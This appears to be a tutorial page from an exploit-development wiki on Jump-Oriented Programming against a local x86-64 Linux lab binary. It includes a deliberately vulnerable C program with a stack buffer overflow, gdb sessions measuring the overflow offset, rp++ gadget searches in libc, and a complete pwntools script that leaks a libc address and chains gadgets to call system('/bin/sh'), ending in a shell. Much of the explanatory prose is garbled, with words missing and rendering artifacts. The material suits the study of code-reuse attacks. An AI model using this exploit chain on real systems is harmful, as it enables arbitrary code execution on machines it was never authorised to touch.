13.JOP(Jump-Oriented Programming)

Unknown macro: 'html'

Excuse the ads! We need some help to keep our site up. Unknown macro: 'html'

List

- JOP(Jump-Oriented Programming)
  - Proof of concept
    - Example code
    - Build & Permission
    - Overflow
  - Exploit method
    - Find gadget
  - Exploit code
  - Related site

JOP(Jump-Oriented Programming)

- **JOP JMP Exploit .**
- **JOP Gadget "Exploit + JMP " , Gadgets .**
  - x64 0 : "mov rdi, 0; jmp [R9]"
  - x64 RSP : "mov rsi, [rsp]; jmp [R9]"
- **JOP Gadget Gadget .**
  - **"Example of JOP" .**
    - JOP Gadget 0x1000 ~ 0x1018 .
    - rdx "JOP Gadget - 8" (0x1000) .
    - Overflow return address dispatcher Gadget .
    - dispatcher Gadget .
      - add rdx, 8 rdx (0x1000) 8 .(rdx : 0x1008)
      - jmp [rdx] rdx (0x1008) (0xffff0010) .
    - 0xffff0010 JOP Gadget .
      - mov rax, [rax] rax rax .
      - jmp rsi dispatcher Gadget .
    - JOP Gadget .

Example of JOP

dispatcher Gadget (addr : 0xffff0910)	value of rdx register	JOP Gadget		
add rdx, 8 jmp [rdx]	0x1000	**Memory address**	**Value**	**Gadget**
	value of rsi register	**0x1008**	0xffff0010	mov rax, [rax] ; jmp rsi ;
	0xffff0910	**0x1010**	0xffff0710	add rax, [rbx] ; jmp [rdi];
	value of rdi register	**0x1018**	0xffff0410	mov rdi, [rdx] ; jmp rsi;
	0xffff0910	**0x1020**	0xffff0510	jmp rax

Jump-Oriented Programming: A New Class of Code-Reuse Attack

- https://www.comp.nus.edu.sg/~liangzk/papers/asiaccs11.pdf
- https://repository.lib.ncsu.edu/bitstream/handle/1840.4/4135/TR-2010-8.pdf

Proof of concept

- 02.ROP(Return Oriented Programming)-x64 .

Example code

jop.c

```
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>

void vuln(){
    char buf[50];
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 256);
}

void main(){
    seteuid(getuid());
    write(1,"Hello ROP\n",10);
    vuln();
}
```

Build & Permission

Build

```
lazenca0x0@ubuntu:~/Exploit/ROP$ gcc -fno-stack-protector -o jop jop.c -ldl
```

Overflow

- **Breakpoints .**
  - 0x400756: vuln
  - 0x40079a: read()

Breakpoints

```
lazenca0x0@ubuntu:~/Exploit/JOP$ gdb -q ./jop
Reading symbols from ./jop...(no debugging symbols found)...done.
gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
   0x0000000000400756 <+0>:        push   rbp
   0x0000000000400757 <+1>:        mov    rbp,rsp
   0x000000000040075a <+4>:        sub    rsp,0x40
   0x000000000040075e <+8>:        mov    esi,0x400864
   0x0000000000400763 <+13>:        mov    rdi,0xffffffffffffffff
   0x000000000040076a <+20>:        call   0x400630 <dlsym@plt>
   0x000000000040076f <+25>:        mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400773 <+29>:        mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400777 <+33>:        mov    rsi,rax
   0x000000000040077a <+36>:        mov    edi,0x40086b
   0x000000000040077f <+41>:        mov    eax,0x0
   0x0000000000400784 <+46>:        call   0x400600 <printf@plt>
   0x0000000000400789 <+51>:        lea    rax,[rbp-0x40]
   0x000000000040078d <+55>:        mov    edx,0x100
   0x0000000000400792 <+60>:        mov    rsi,rax
   0x0000000000400795 <+63>:        mov    edi,0x0
   0x000000000040079a <+68>:        call   0x400610 <read@plt>
   0x000000000040079f <+73>:        nop
   0x00000000004007a0 <+74>:        leave
   0x00000000004007a1 <+75>:        ret
End of assembler dump.
gdb-peda$ b *0x0000000000400756
Breakpoint 1 at 0x400756
gdb-peda$ b *0x000000000040079a
Breakpoint 2 at 0x40079a
gdb-peda$
```

- **Overflow .**
  - Return address(0x7fffffffe4a8) - buf (0x7fffffffe460) = 72
  - , 72 Return address .

Overflow

```
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/JOP/jop
Hello ROP


Breakpoint 1, 0x0000000000400756 in vuln ()
gdb-peda$ i r rsp
rsp            0x7fffffffe4a8        0x7fffffffe4a8
gdb-peda$ x/gx 0x7fffffffe4a8
0x7fffffffe4a8:        0x00000000004007d0
gdb-peda$ c
Continuing.
Printf() address : 0x7ffff785e800


Breakpoint 2, 0x000000000040079a in vuln ()
gdb-peda$ i r rsi
rsi            0x7fffffffe460        0x7fffffffe460
gdb-peda$ p/d 0x7fffffffe4a8 - 0x7fffffffe460
$1 = 72
gdb-peda$
```

Exploit method

- ROP Exploit .

Exploit

1. system "/bin/sh"

- .

ROP code

system(binsh)

- JOP Shell .
  - ROP Gadget RAX system()
  - JOP Gadget RDI ("/bin/sh") "JMP rax" system()

JOP structure

	Value
0x7fffffffe498	Gadget(POP RAX, ret) Address
0x7fffffffe4a0	System function address of libc
0x7fffffffe4a8	Gadget(POP RDI, JMP RAX) Address
0x7fffffffe4b0	First argument value

- payload .

- "/bin/sh"
- libc offset
  - printf
  - system
-
  - POP RAX, ret
  - POP RDI, JMP RAX

Find gadget

- **rp++ Gadgets .**
  - Exploit code 0x33544 "pop rax ; ret ;" .

pop rax ; ret ;

```
lazenca0x0@ubuntu:~/Exploit/JOP$ sudo ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.23.so -r 1|grep "pop rax ;
ret"
0x00033544: pop rax ; ret  ;  (1 found)
0x0003a727: pop rax ; ret  ;  (1 found)
0x0003a728: pop rax ; ret  ;  (1 found)
0x0003a7f7: pop rax ; ret  ;  (1 found)
0x0003a7f8: pop rax ; ret  ;  (1 found)
0x0003a8a0: pop rax ; ret  ;  (1 found)
0x0003a8a1: pop rax ; ret  ;  (1 found)
0x000abc07: pop rax ; ret  ;  (1 found)
0x00106272: pop rax ; ret  ;  (1 found)
0x00106273: pop rax ; ret  ;  (1 found)
0x001a1448: pop rax ; ret  ;  (1 found)
0x000caabc: pop rax ; retn 0x002F ;  (1 found)
lazenca0x0@ubuntu:~/Exploit/JOP$
```

pop rdi ; jmp rax ;

```
lazenca0x0@ubuntu:~/Exploit/JOP$ sudo ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.23.so -r 1|grep "pop rdi ;
jmp rax"
0x00104052: pop rdi ; jmp rax ;  (1 found)
lazenca0x0@ubuntu:~/Exploit/JOP$
```

Exploit code

jop.py

```
from pwn import *
from struct import *

#context.log_level = 'debug'

#64bit OS - /lib/x86_64-linux-gnu/libc-2.23.so
libcbase_printf_offset = 0x55800
libcbase_system_offset = 0x45390

binsh_offset = 0x18cd57

pop_rax_ret = 0x33544
pop_rdi_jmp_rax = 0x104052

r = process('./jop')

r.recvn(10)
r.recvuntil('Printf() address : ')
libcbase = int(r.recvuntil('\n'),16)
libcbase -= libcbase_printf_offset

payload = "A"*72
payload += p64(libcbase + pop_rax_ret)
payload += p64(libcbase + libcbase_system_offset)
payload += p64(libcbase + pop_rdi_jmp_rax)
payload += p64(libcbase + binsh_offset)

r.send(payload)

r.interactive()
```

python jop.py

```
lazenca0x0@ubuntu:~/Exploit/JOP$ python jop.py
[+] Starting local process './jop': pid 6105
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
$
```

Related site

- http://www.cs.binghamton.edu/~mkayaalp/jop.html
- https://www.comp.nus.edu.sg/~liangzk/papers/asiaccs11.pdf
- https://repository.lib.ncsu.edu/bitstream/handle/1840.4/4135/TR-2010-8.pdf
- https://www.abigale.xin/JOP/

Unknown macro: 'html'